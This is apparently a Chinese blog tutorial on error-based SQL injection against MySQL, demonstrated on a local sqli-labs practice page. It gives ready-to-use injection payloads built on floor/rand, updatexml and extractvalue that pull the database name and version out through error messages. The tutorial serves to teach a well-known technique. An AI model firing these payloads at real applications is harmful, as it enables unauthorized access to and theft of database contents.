SQL注入之报错型注入

报错注入的前提:

页面上没有显示位但是有sql语句执行错误信息输出。

mysql_error()函数

作用:返回上一个Mysql操作产生的文本错误信息

如:

SQL注入之报错型注入_第1张图片


      在用php对mysql进行一些增删改查操作的时候,如果数据库在执行的过程 中遇到错误,此时数据库是有错误回显的,但是这个错误回显不会显示在Web应 用页面中的。

       如下是php脚本错误信息


SQL注入之报错型注入_第2张图片

需要php.ini 中display_errors=On开启PHP错误回显。


1、通过floor报错

 

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

注:输出字符长度限制为64个字符

payload填sql语句

如查询当前数据库

http://127.0.0.1/sql/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

SQL注入之报错型注入_第3张图片

2、通过updatexml报错

and updatexml(1,payload,1)
and updatexml(1,concat(0x7e,@@version,0x7e),1)

注:输出字符有长度限制,最长32位

如 下图

SQL注入之报错型注入_第4张图片


3、通过ExtractValue报错

and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,@@version,0x7e))

注:输出字符有长度限制,最长32位

SQL注入之报错型注入_第5张图片



payload可以按照上一篇联合查询注入博客中的写,都是一样的

你可能感兴趣的:(sql注入)